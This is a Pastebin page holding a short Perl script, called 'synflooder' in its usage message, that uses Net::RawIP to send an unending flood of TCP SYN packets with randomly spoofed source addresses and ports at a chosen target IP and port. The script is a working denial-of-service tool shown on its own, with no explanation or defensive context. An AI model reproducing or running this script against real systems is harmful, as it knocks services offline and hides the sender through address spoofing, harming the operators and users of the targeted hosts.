Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- use Net::RawIP;
- if($#ARGV == 2) {
- ($src,$dst,$port) = @ARGV;
- $a = new Net::RawIP;
- while(1) {
- $src = join(".", map int rand 256, 1 .. 4);
- $src_port = rand(65534)+1;
- $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
- $a->send;
- }
- } else {
- print "./synflooder source_ip destination_ip destination_port\n";
- }
Add Comment
Please, Sign In to add comment